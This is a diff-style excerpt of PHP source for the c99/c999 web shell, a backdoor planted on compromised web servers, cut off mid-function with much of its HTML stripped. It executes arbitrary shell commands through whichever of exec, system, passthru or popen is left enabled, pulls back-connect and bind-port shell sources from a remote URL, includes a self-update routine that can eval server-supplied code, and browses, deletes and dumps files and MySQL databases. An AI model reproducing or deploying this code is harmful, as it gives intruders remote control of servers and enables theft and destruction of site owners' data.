+function fs_copy_dir($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+}
+}
+if (!function_exists("fs_copy_obj"))
+{
+function fs_copy_obj($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (!is_dir(dirname($t))) {mkdir(dirname($t));}
+ if (is_dir($d))
+ {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return fs_copy_dir($d,$t);
+ }
+ elseif (is_file($d)) {return copy($d,$t);}
+ else {return FALSE;}
+}
+}
+if (!function_exists("fs_move_dir"))
+{
+function fs_move_dir($d,$t)
+{
+ $h = opendir($d);
+ if (!is_dir($t)) {mkdir($t);}
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ $ret = TRUE;
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+}
+}
+if (!function_exists("fs_move_obj"))
+{
+function fs_move_obj($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (is_dir($d))
+ {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return fs_move_dir($d,$t);
+ }
+ elseif (is_file($d))
+ {
+ if(copy($d,$t)) {return unlink($d);}
+ else {unlink($t); return FALSE;}
+ }
+ else {return FALSE;}
+}
+}
+if (!function_exists("fs_rmdir"))
+{
+function fs_rmdir($d)
+{
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d.$o)) {unlink($d.$o);}
+ else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
+ }
+ }
+ closedir($h);
+ rmdir($d);
+ return !is_dir($d);
+}
+}
+if (!function_exists("fs_rmobj"))
+{
+function fs_rmobj($o)
+{
+ $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
+ if (is_dir($o))
+ {
+ if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
+ return fs_rmdir($o);
+ }
+ elseif (is_file($o)) {return unlink($o);}
+ else {return FALSE;}
+}
+}
+if (!function_exists("myshellexec"))
+{
+function myshellexec($cmd)
+{
+ global $disablefunc;
+ $result = "";
+ if (!empty($cmd))
+ {
+ if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
+ elseif (($result = `$cmd`) !== FALSE) {}
+ elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+ elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+ elseif (is_resource($fp = popen($cmd,"r")))
+ {
+ $result = "";
+ while(!feof($fp)) {$result .= fread($fp,1024);}
+ pclose($fp);
+ }
+ }
+ return $result;
+}
+}
+if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
+if (!function_exists("view_perms"))
+{
+function view_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$type = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
+ else {$type = "?";}
+
+ $owner["read"] = ($mode & 00400)?"r":"-";
+ $owner["write"] = ($mode & 00200)?"w":"-";
+ $owner["execute"] = ($mode & 00100)?"x":"-";
+ $group["read"] = ($mode & 00040)?"r":"-";
+ $group["write"] = ($mode & 00020)?"w":"-";
+ $group["execute"] = ($mode & 00010)?"x":"-";
+ $world["read"] = ($mode & 00004)?"r":"-";
+ $world["write"] = ($mode & 00002)? "w":"-";
+ $world["execute"] = ($mode & 00001)?"x":"-";
+
+ if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
+ if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
+ if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
+
+ return $type.join("",$owner).join("",$group).join("",$world);
+}
+}
+if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
+if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
+if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
+if (!function_exists("parse_perms"))
+{
+function parse_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$t = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
+ else {$t = "?";}
+ $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
+ $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
+ $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
+ return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
+}
+}
+if (!function_exists("parsesort"))
+{
+function parsesort($sort)
+{
+ $one = intval($sort);
+ $second = substr($sort,-1);
+ if ($second != "d") {$second = "a";}
+ return array($one,$second);
+}
+}
+if (!function_exists("view_perms_color"))
+{
+function view_perms_color($o)
+{
+ if (!is_readable($o)) {return "".view_perms(fileperms($o))." ";}
+ elseif (!is_writable($o)) {return "".view_perms(fileperms($o))." ";}
+ else {return "".view_perms(fileperms($o))." ";}
+}
+}
+if (!function_exists("c999getsource"))
+{
+function c999getsource($fn)
+{
+ global $c999sh_sourcesurl;
+ $array = array(
+ "c999sh_bindport.pl" => "c999sh_bindport_pl.txt",
+ "c999sh_bindport.c" => "c999sh_bindport_c.txt",
+ "c999sh_backconn.pl" => "c999sh_backconn_pl.txt",
+ "c999sh_backconn.c" => "c999sh_backconn_c.txt",
+ "c999sh_datapipe.pl" => "c999sh_datapipe_pl.txt",
+ "c999sh_datapipe.c" => "c999sh_datapipe_c.txt",
+ );
+ $name = $array[$fn];
+ if ($name) {return file_get_contents($c999sh_sourcesurl.$name);}
+ else {return FALSE;}
+}
+}
+if (!function_exists("c999sh_getupdate"))
+{
+function c999sh_getupdate($update = TRUE)
+{return "Can't connect to update-server!";
+
+ $url = $GLOBALS["c999sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
+ $data = @file_get_contents($url);
+ if (!$data) {return "Can't connect to update-server!";}
+ else
+ {
+ $data = ltrim($data);
+ $string = substr($data,3,ord($data{2}));
+ if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
+ if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
+ if ($data{0} == "\x99" and $data{1} == "\x03")
+ {
+ $string = explode("\x01",$string);
+ if ($update)
+ {
+ $confvars = array();
+ $sourceurl = $string[0];
+ $source = file_get_contents($sourceurl);
+ if (!$source) {return "Can't fetch update!";}
+ else
+ {
+ $fp = fopen(__FILE__,"w");
+ if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c999shell.php manually here .";}
+ else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
+ }
+ }
+ else {return "New version are available: ".$string[1];}
+ }
+ elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
+ else {return "Error in protocol: segmentation failed! (".$data.") ";}
+ }
+}
+}
+if (!function_exists("mysql_dump"))
+{
+function mysql_dump($set)
+{
+ global $shver;
+ $sock = $set["sock"];
+ $db = $set["db"];
+ $print = $set["print"];
+ $nl2br = $set["nl2br"];
+ $file = $set["file"];
+ $add_drop = $set["add_drop"];
+ $tabs = $set["tabs"];
+ $onlytabs = $set["onlytabs"];
+ $ret = array();
+ $ret["err"] = array();
+ if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
+ if (empty($db)) {$db = "db";}
+ if (empty($print)) {$print = 0;}
+ if (empty($nl2br)) {$nl2br = 0;}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (empty($file))
+ {
+ $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
+ }
+ if (!is_array($tabs)) {$tabs = array();}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (sizeof($tabs) == 0)
+ {
+ // retrive tables-list
+ $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
+ if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
+ }
+ $out = "# Dumped by c999Shell.SQL v. ".$shver."
+# Home page: http://ccteam.ru
+#
+# Host settings:
+# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
+# Date: ".date("d.m.Y H:i:s")."
+# DB: \"".$db."\"
+#---------------------------------------------------------
+";
+ $c = count($onlytabs);
+ foreach($tabs as $tab)
+ {
+ if ((in_array($tab,$onlytabs)) or (!$c))
+ {
+ if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
+ // recieve query for create table structure
+ $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
+ if (!$res) {$ret["err"][] = mysql_smarterror();}
+ else
+ {
+ $row = mysql_fetch_row($res);
+ $out .= $row["1"].";\n\n";
+ // recieve table variables
+ $res = mysql_query("SELECT * FROM `$tab`", $sock);
+ if (mysql_num_rows($res) > 0)
+ {
+ while ($row = mysql_fetch_assoc($res))
+ {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
+ $out .= $sql;
+ }
+ }
+ }
+ }
+ }
+ $out .= "#---------------------------------------------------------------------------------\n\n";
+ if ($file)
+ {
+ $fp = fopen($file, "w");
+ if (!$fp) {$ret["err"][] = 2;}
+ else
+ {
+ fwrite ($fp, $out);
+ fclose ($fp);
+ }
+ }
+ if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
+ return $out;
+}
+}
+if (!function_exists("mysql_buildwhere"))
+{
+function mysql_buildwhere($array,$sep=" and",$functs=array())
+{
+ if (!is_array($array)) {$array = array();}
+ $result = "";
+ foreach($array as $k=>$v)
+ {
+ $value = "";
+ if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
+ $value .= "'".addslashes($v)."'";
+ if (!empty($functs[$k])) {$value .= ")";}
+ $result .= "`".$k."` = ".$value.$sep;
+ }
+ $result = substr($result,0,strlen($result)-strlen($sep));
+ return $result;
+}
+}
+if (!function_exists("mysql_fetch_all"))
+{
+function mysql_fetch_all($query,$sock)
+{
+ if ($sock) {$result = mysql_query($query,$sock);}
+ else {$result = mysql_query($query);}
+ $array = array();
+ while ($row = mysql_fetch_array($result)) {$array[] = $row;}
+ mysql_free_result($result);
+ return $array;
+}
+}
+if (!function_exists("mysql_smarterror"))
+{
+function mysql_smarterror($type,$sock)
+{
+ if ($sock) {$error = mysql_error($sock);}
+ else {$error = mysql_error();}
+ $error = htmlspecialchars($error);
+ return $error;
+}
+}
+if (!function_exists("mysql_query_form"))
+{
+function mysql_query_form()
+{
+ global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act))
+ {
+ echo "";
+ }
+ }
+ if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
+}
+}
+if (!function_exists("mysql_create_db"))
+{
+function mysql_create_db($db,$sock="")
+{
+ $sql = "CREATE DATABASE `".addslashes($db)."`;";
+ if ($sock) {return mysql_query($sql,$sock);}
+ else {return mysql_query($sql);}
+}
+}
+if (!function_exists("mysql_query_parse"))
+{
+function mysql_query_parse($query)
+{
+ $query = trim($query);
+ $arr = explode (" ",$query);
+ /*array array()
+ {
+ "METHOD"=>array(output_type),
+ "METHOD1"...
+ ...
+ }
+ if output_type == 0, no output,
+ if output_type == 1, no output if no error
+ if output_type == 2, output without control-buttons
+ if output_type == 3, output with control-buttons
+ */
+ $types = array(
+ "SELECT"=>array(3,1),
+ "SHOW"=>array(2,1),
+ "DELETE"=>array(1),
+ "DROP"=>array(1)
+ );
+ $result = array();
+ $op = strtoupper($arr[0]);
+ if (is_array($types[$op]))
+ {
+ $result["propertions"] = $types[$op];
+ $result["query"] = $query;
+ if ($types[$op] == 2)
+ {
+ foreach($arr as $k=>$v)
+ {
+ if (strtoupper($v) == "LIMIT")
+ {
+ $result["limit"] = $arr[$k+1];
+ $result["limit"] = explode(",",$result["limit"]);
+ if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
+ unset($arr[$k],$arr[$k+1]);
+ }
+ }
+ }
+ }
+ else {return FALSE;}
+}
+}
+if (!function_exists("c999fsearch"))
+{
+function c999fsearch($d)
+{
+ global $found;
+ global $found_d;
+ global $found_f;
+ global $search_i_f;
+ global $search_i_d;
+ global $a;
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($f = readdir($h)) !== FALSE)
+ {
+ if($f != "." && $f != "..")
+ {
+ $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
+ if (is_dir($d.$f))
+ {
+ $search_i_d++;
+ if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
+ if (!is_link($d.$f)) {c999fsearch($d.$f);}
+ }
+ else
+ {
+ $search_i_f++;
+ if ($bool)
+ {
+ if (!empty($a["text"]))
+ {
+ $r = @file_get_contents($d.$f);
+ if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
+ if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
+ if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
+ else {$bool = strpos(" ".$r,$a["text"],1);}
+ if ($a["text_not"]) {$bool = !$bool;}
+ if ($bool) {$found[] = $d.$f; $found_f++;}
+ }
+ else {$found[] = $d.$f; $found_f++;}
+ }
+ }
+ }
+ }
+ closedir($h);
+}
+}
+if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
+//Sending headers
+@ob_start();
+@ob_implicit_flush(0);
+function onphpshutdown()
+{
+ global $gzipencode,$ft;
+ if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
+ {
+ $v = @ob_get_contents();
+ @ob_end_clean();
+ @ob_start("ob_gzHandler");
+ echo $v;
+ @ob_end_flush();
+ }
+}
+function c999shexit()
+{
+ onphpshutdown();
+ exit;
+}
+header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
+header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
+header("Cache-Control: no-store, no-cache, must-revalidate");
+header("Cache-Control: post-check=0, pre-check=0", FALSE);
+header("Pragma: no-cache");
+if (empty($tmpdir))
+{
+ $tmpdir = ini_get("upload_tmp_dir");
+ if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
+}
+$tmpdir = realpath($tmpdir);
+$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
+if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
+if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
+else {$tmpdir_logs = realpath($tmpdir_logs);}
+if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
+{
+ $safemode = TRUE;
+ $hsafemode = "ON (secure) ";
+}
+else {$safemode = FALSE; $hsafemode = "OFF (not secure) ";}
+$v = @ini_get("open_basedir");
+if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "".$v." ";}
+else {$openbasedir = FALSE; $hopenbasedir = "OFF (not secure) ";}
+$sort = htmlspecialchars($sort);
+if (empty($sort)) {$sort = $sort_default;}
+$sort[1] = strtolower($sort[1]);
+$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
+if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
+$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()." ",htmlspecialchars($DISP_SERVER_SOFTWARE));
+@ini_set("highlight.bg",$highlight_bg); //FFFFFF
+@ini_set("highlight.comment",$highlight_comment); //#FF8000
+@ini_set("highlight.default",$highlight_default); //#0000BB
+@ini_set("highlight.html",$highlight_html); //#000000
+@ini_set("highlight.keyword",$highlight_keyword); //#007700
+@ini_set("highlight.string",$highlight_string); //#DD0000
+if (!is_array($actbox)) {$actbox = array();}
+$dspact = $act = htmlspecialchars($act);
+$disp_fullpath = $ls_arr = $notls = null;
+$ud = urlencode($d);
+?> - phpshell ! c99Shell v. !
Software:
uname -a: ",1); ?>
",1);} else {echo get_current_user();} ?>
Safe-mode:
".htmlspecialchars($b).DIRECTORY_SEPARATOR." ";
+ $i++;
+}
+echo " ";
+if (is_writable($d))
+{
+ $wd = TRUE;
+ $wdt = "[ ok ] ";
+ echo "".view_perms(fileperms($d))." ";
+}
+else
+{
+ $wd = FALSE;
+ $wdt = "[ Read-Only ] ";
+ echo "".view_perms_color($d)." ";
+}
+if (is_callable("disk_free_space"))
+{
+ $free = disk_free_space($d);
+ $total = disk_total_space($d);
+ if ($free === FALSE) {$free = 0;}
+ if ($total === FALSE) {$total = 0;}
+ if ($free < 0) {$free = 0;}
+ if ($total < 0) {$total = 0;}
+ $used = $total-$free;
+ $free_percent = round(100/($total/$free),2);
+ echo "Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%) ";
+}
+echo " ";
+$letters = "";
+if ($win)
+{
+ $v = explode("\\",$d);
+ $v = $v[0];
+ foreach (range("a","z") as $letter)
+ {
+ $bool = $isdiskette = in_array($letter,$safemode_diskettes);
+ if (!$bool) {$bool = is_dir($letter.":\\");}
+ if ($bool)
+ {
+ $letters .= "[ ";
+ if ($letter.":" != $v) {$letters .= $letter;}
+ else {$letters .= "".$letter." ";}
+ $letters .= " ] ";
+ }
+ }
+ if (!empty($letters)) {echo "Detected drives : ".$letters." ";}
+}
+if (count($quicklaunch) > 0)
+{
+ foreach($quicklaunch as $item)
+ {
+ $item[1] = str_replace("%d",urlencode($d),$item[1]);
+ $item[1] = str_replace("%sort",$sort,$item[1]);
+ $v = realpath($d."..");
+ if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
+ $item[1] = str_replace("%upd",urlencode($v),$item[1]);
+ echo "".$item[0]." ";
+ }
+}
+echo "
";
+if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo " ";}
+echo "";
+if ($act == "") {$act = $dspact = "ls";}
+if ($act == "sql")
+{
+ $sql_surl = $surl."act=sql";
+ if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
+ if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
+ if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
+ if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
+ if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
+ $sql_surl .= "&";
+ ?>Attention! SQL-Manager is NOT ready module! Don't reports bugs. SQL Manager: ";
+ if (!$sql_sock)
+ {
+ if (!$sql_server) {echo "NO CONNECTION";}
+ else {echo "Can't connect "; echo "".$err." ";}
+ }
+ else
+ {
+ $sqlquicklaunch = array();
+ $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
+ $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
+ $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
+ $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
+ $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
+ $sqlquicklaunch[] = array("Logout",$surl."act=sql");
+ echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\") ";
+ if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ }
+ echo " ";
+ if (!$sql_sock) {?> i If login is null, login is owner of process. If host is null, host is localhost If port is null, port is 3306 (default) Please, fill the form: ">Home ".htmlspecialchars($sql_db)." ]--- ";
+ $c = 0;
+ while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].") "; mysql_free_result($count); $c++;}
+ if (!$c) {echo "No tables found in database.";}
+ }
+ }
+ else
+ {
+ ?>Home ".$row[0].""; $c++;}
+ echo "Databases (".$c.") ";
+ echo $dbs;
+ }
+ ?> Please, select database";
+ //Start center panel
+ $diplay = TRUE;
+ if ($sql_db)
+ {
+ if (!is_numeric($c)) {$c = 0;}
+ if ($c == 0) {$c = "no";}
+ echo "There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db)."). ";
+ if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ $acts = array("","dump");
+ if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
+ elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
+ elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
+ elseif ($sql_tbl_act == "insert")
+ {
+ if ($sql_tbl_insert_radio == 1)
+ {
+ $keys = "";
+ $akeys = array_keys($sql_tbl_insert);
+ foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
+ if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
+ $values = "";
+ $i = 0;
+ foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
+ if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
+ $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
+ $sql_act = "query";
+ $sql_tbl_act = "browse";
+ }
+ elseif ($sql_tbl_insert_radio == 2)
+ {
+ $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
+ $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
+ $result = mysql_query($sql_query) or print(mysql_smarterror());
+ $result = mysql_fetch_array($result, MYSQL_ASSOC);
+ $sql_act = "query";
+ $sql_tbl_act = "browse";
+ }
+ }
+ if ($sql_act == "query")
+ {
+ echo " ";
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act)) {echo "";}
+ }
+ if (in_array($sql_act,$acts))
+ {
+ ?>";}
+ if ($sql_act == "newtbl")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";
+ }
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+ }
+ elseif ($sql_act == "dump")
+ {
+ if (empty($submit))
+ {
+ $diplay = FALSE;
+ echo "SQL-Dump: ";
+ echo "DB: ";
+ $v = join (";",$dmptbls);
+ echo "Only tables (explode \";\") 1 : ";
+ if ($dump_file) {$tmp = $dump_file;}
+ else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
+ echo "File: ";
+ echo "Download: ";
+ echo "Save to file: ";
+ echo "1 - all, if empty";
+ echo " ";
+ }
+ else
+ {
+ $diplay = TRUE;
+ $set = array();
+ $set["sock"] = $sql_sock;
+ $set["db"] = $sql_db;
+ $dump_out = "download";
+ $set["print"] = 0;
+ $set["nl2br"] = 0;
+ $set[""] = 0;
+ $set["file"] = $dump_file;
+ $set["add_drop"] = TRUE;
+ $set["onlytabs"] = array();
+ if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
+ $ret = mysql_dump($set);
+ if ($sql_dump_download)
+ {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".strlen($ret));
